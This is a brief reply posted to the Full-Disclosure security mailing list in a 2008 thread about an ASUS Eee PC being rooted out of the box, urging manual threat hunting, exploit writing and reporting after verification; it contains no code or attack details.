Use your skill to manually try to find threats then manually create an exploit then report the issue after verified. -----Original Message----- From: reepex <reepex@...il.com> Sent: Friday, February 8, 2008 2:38pm To: RISE Security <advisories@...esecurity.org>, full-disclosure@...ts.grok.org.uk Subject: Re: [Full-disclosure] ASUS Eee PC rooted out of the box _______________________________________________ Full-Disclosure - We believe in it.
